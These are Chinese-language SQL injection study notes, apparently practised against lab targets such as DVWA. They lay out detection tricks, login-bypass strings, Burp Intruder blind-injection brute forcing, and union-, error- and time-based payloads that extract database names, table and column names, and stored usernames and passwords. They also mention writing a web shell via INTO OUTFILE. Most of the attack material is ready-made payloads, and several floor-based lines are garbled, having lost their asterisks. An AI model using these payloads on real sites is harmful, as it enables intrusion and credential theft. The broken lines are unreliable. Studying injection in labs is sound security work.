sql注入
SQL注入攻擊通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作
SQL注入產生原因及威脅:
剛剛講過當我們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求,如果權限驗證通過就會執行 Sql 語句。 很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。
- 猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
- 繞過認證,列如繞過驗證登錄網站后台。
- 注入可以借助數據庫的存儲過程進行提權等操作
判斷SQL注入點:報錯注入、回顯注入、盲注(boolean、time)
輸入數據時,帶參數,看網頁是否訪問數據庫,如:最經典的單引號判斷法http://xxx/abc.php?id=1'
(如果頁面顯示錯誤,就代表有注入。如果沒有,也有可能是盲注。可以通過抓包比較頁面狀態和字節數,判斷是否有注入)
回顯注入:可以直接在存在注入點的當前頁面中獲取返回結果。
報錯注入:程序將數據庫的返回錯誤信息直接顯示在頁面中,雖然沒有返回數據庫的查詢結果,但是可以構造一些報錯語句從錯誤信息中獲取想要的結果。
例:
'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
盲注:程序后端屏蔽了數據庫的錯誤信息,沒有直接顯示結果也沒有報錯信息,只能通過數據庫的邏輯和延時函數來判斷注入的結果。根據表現形式的不同,盲注又分為based boolean(字節數不同)和based time兩種類型。
sql注入點:數字型、字符型
在burp suit里面修改參數來進行判斷(burp里面不識別空格,要用+代替)
猜測語句:
1-數字型:
select 字段名 from 表名 where id = 1;
例:
http://www.sql.com/xxx.php?id=1 假設ID為存在注入的參數
http://www.sql.com/xxx.php?id=1‘ 語句報錯
http://www.sql.com/xxx.php?id=1 and 1=1 頁面正常返回結果
http://www.sql.com/xxx.php?id=1 and 1=2 頁面返回錯誤
數字型注入一般出現在asp,php等弱類型語言中,強類型語言很少存在。
2-字符型:
select 字段名 from 表名 where id = ‘;
例:
http://www.sql.com/xxx.php?id=1 假設ID為存在注入的參數
http://www.sql.com/xxx.php?id=1‘ 語句報錯
http://www.sql.com/xxx.php?id=1' and 1=1 and '1'='1 頁面正常返回結果
http://www.sql.com/xxx.php?id=1' and 1=2 and '1'='1 頁面返回錯誤
3-搜索型:
select 字段 from 表名 where username like ‘%k%’;
http://www.sql.com/xxx.php?search=test 假設search為存在注入的參數
http://www.sql.com/xxx.php?search=test' 語句報錯
http://www.sql.com/xxx.php?search=test%' and 1=1 and '%'=' 頁面正常返回結果
http://www.sql.com/xxx.php?search=test%' and 1=2 and '%'=' 頁面返回錯誤
相關SQL函數筆記
盲注常用聚合函數
-
mid:例:MID(字段名,開始位置(起始值為1),結束位數(length))
字符串從1開始,而非0,Length是可選項,如果沒有提供,MID()函數將返回余下的字符串。
-
left:
LEFT()
函數是一個字符串函數,它返回具有指定長度的字符串的左邊部分。LEFT(Str,length);
接收兩個參數:
str:一個字符串;
length:想要截取的長度,是一個正整數;
-
substr:substr(string string,num start,num length);
string為字符串;
start為起始位置,字符串從1開始而非0;
length為長度。
聯合常用函數查詢函數
-
count:count(*) 它返回檢索行的數目, 不論其是否包含 NULL值。
-
distinct:去重,放在被查詢數據前面,如:group_concat(distinct+database())
MySQL十大報錯函數:https://www.cnblogs.com/zztac/p/11441292.html
- groupconcat:把目標字段的值打印在一行,逗號分隔(默認)
報錯注入
-
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句為:
updatexml(1,concat(0x7e,(``SELECT` `@@version),0x7e),1)
其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ``':root@localhost'
我的理解就是updatexml函數具有查詢功能 並且會再xpath處查詢 你將語法構造錯誤 然后它就會將他查詢的結果已報錯的形式顯示出來
-
concat:連接字符串,一般聯合updataxml使用
例:id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
0x7e為“~”符號,不符合xpath格式,報錯執行語句。
補充語句函數
1-into outfile
作用將查詢結果輸出保存到一個文件中,可以利用其寫入一句話木馬
利用需要的條件有:
1、對web目錄需要有寫權限能夠使用單引號
2、知道絕對路徑
3、沒有配置-secure-file-priv(安裝MySQL的時候限制了導入與導出的目錄權限)
(1)NULL,表示禁止。
(2)如果value值有文件夾目錄,則表示只允許該目錄下文件(PS:測試子目錄 也不行)。
(3)如果為空,則表示不限制目錄。
網址推薦:https://www.cnblogs.com/hzk001/p/12217516.html
SQL注入實現思路
burpsuit手工注入(dvwa盲注substr)、示例過程
sql注入思路
-
抓包,查看是否存在注入點
-
判斷注入類型(報錯、回顯、盲注)
-
判斷注入為字符型還是數字型
-
構造語句,進行注入
盲注手工注入過程
-
抓包,找到注入點的包
-
構建SQL語句查看重放,通過字節數變化情況查看語句構建是否成功
id=1'and+substr("name",1,1)='n
查看數據庫名的位數
id=1'and+length(database())=1'
(先測試語句構建是否成功,1'and+length(“name”)='4,name長度為4的時候字節數與其他數字不同所以語句有效,通過更改=號后面的數字變量來找出database的長度)
pload選擇數字,from從1to20,step間隔為1.
然后換成想要的數據 id=1'and+substr(database(),1,1)='a ,進行配對
-
半自動爆破完成破解
-
id=1'and+substr(database(),§1§,1)='§b§ 將開始位數和結果設成變量
-
選擇交叉爆破 cluster bomb
-
分別給上字典1-10,a-z
-
開始爆破
成功后排一下序(給pload1升序,長度降序),顯示總共4位字符,dvwa
-
盲注if語句構造方法
If語句構造:1'and+if(substr(database(),1,1)='d',1,0)+--+
Pload:1'and+if(substr(version(),§1§,1)='§d§',1,0)+--+
1-為0-9 2-為a-z
If語句構造:1'and+if(substr(version(),1,1)='d',1,0)+--+
Pload:1'and+if(substr(version(),§1§,1)='§d§',1,0)+--+
1-為0-9 2-為0-9+.
Case when 語句:
構造語句:1'and+1/(case+when+substr(version(),§1§,1)='§1§'+then+1+else+0+end)='1
Plaod如上所述不變,只是構造語句變了。1/1=1為真,1/0=1為假
時間盲注
時間盲注存在時,無法通過字節數的變化來判斷語句的構造
if(a,b,c) 當a為真是執行b為假執行c
常用時間盲注語句:1'and+if(substr(database(),1,1)='d',sleep(5),sleep(1))+--+
萬能密碼
1-列出3種萬能密碼的代碼
mysql的查詢語句:
SELECT * FROM users
WHERE user = '$user(用戶輸入、插入數據的地方)' AND password = '$pass';
優先級:mysql會優先處理and然后是or
1-admin’or ‘’=’’ limit 1 #
Or,兩邊都為真但只需要一個為真結果就為真,所以最終有數據庫內所有賬戶選擇,需要加limit選擇一個賬戶實現萬能密碼
2-admin’or ’’=’ #
Or,admin為真,字符=整數為假,所以or一個為真結果為真,只有一個admin賬戶選項,實現萬能密碼
3-admin’or’1’=’1 +---+
與2同理
2-admin’or’1’=’1’ limit 1 #
與1同理
3-admin’and’1’=’1’ #
And兩邊同時為真,結果為真,而且賬戶不能隨機賬戶,實現萬能密碼
4-admin’or’1’=’1’’
And的優先級高於or所以最后一個單引號閉合了后面的引號,后面的and語句先判定再判斷or’1’=’1’還是為真。所以不用注釋后面的語句,相當於admin’or’1’=’1 +---+。
回顯查詢注入思路實現
MySQL中information_schema庫
這個數據庫中有三個表,存放了所以數據庫名,所有數據表名和所有數據表的字段名
SCHEMATA表
字段:SCHEMA_NAME(所有庫名)
TABLES表
字段:TABLE_SCHEMA(所有庫名) TABLE_NAME(所有表名)
COLUMNS表
字段:TBALE_SCHEMA(所有庫名) TABLE_NAME(所有表名) COLUMN_NAME(所有字段名)
SQL注入的原理簡單的講,就是發現注入-->構建poc(sql語句)
聯合查詢注入利用的前提
前提條件:頁面上有顯示位
顯示位
在一個在一個網站的正常頁面,服務端執行SQL語句查詢數據庫中的數據,客戶端將數 據展示在頁面中,這個展示數據的位置就叫顯示位
流程:
-
判斷注入點:略
-
判斷整型和字符型:略
-
判斷查詢列數(構建poc時,必須要符合其查詢列數,選擇將查詢結果放在第幾列顯示,列:?id='union select 1,database(),user()')
看他字段能查詢的列數為幾列
輸入' union select 1,2,3'第一個查詢字段為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數,輸入' union select 1,2,3,4'發現頁面錯誤,說明沒有4列。輸入' union select 1,2'發現頁面錯誤,說明也沒有2列。輸入' union select 1,2,3'輸入3列時,頁面正常,說明有3列。
-
判斷顯示位
-
獲取數據庫名
看后面的poc
-
獲取表名
-
獲取字段名
-
獲取字段數據
回顯聯合查詢poc
統計所有數據庫的數量:
1'union+select+1,count(distinct+table_schema)+from+information_schema.tables--+
獲取所有數據庫名(去重):
1'union+select+1,group_concat(distinct table_schema)+from+information_schema.tables--+
獲取所有數據表名:
1'union+select+1,group_concat(table_name)+from+information_schema.tables--+
獲取當前數據庫的所有表名:
1'union+select+1,group_concat(table_name)+from+information_schema.tables where table_schema='dvwa'--+
獲取表(用戶)字段:
1'union+select+1,group_concat(column_name)+from+information_schema.columns where table_schema='dvwa'+and+table_name='users'--+
報錯注入poc
報錯注入:
- updatexml
- 爆庫
id=1 and updatexml(1,concat(0x23,database()),1) - 爆表
id=1 and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )),1) - 爆字段
id=1 and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),1) - 爆內容
id=1 and
updatexml(1,concat(0x23,(select group_concat(password,username) from security.users),0x23),1)
- 爆庫
- floor
- 爆庫id=1 union Select 1,count(),concat(0x23,0x23,(select database()),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
- 爆表id=1 union Select 1,count(),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
- 調整 limit 的參數,將所有表名爆出
id=1 union Select 1,count(),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+ - 爆列名
id=1 union Select 1,count(),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+ - 爆字段
and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
報錯注入:
'and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))='1
報錯注入:
'and ExtractValue(1,concat(0x23,(select group_concat(id,'',username,'',password) from security.users)))='1
'and ExtractValue(1,concat(0x23,(select concat(id,'',username,'',password) from security.users limit 2,1)))='1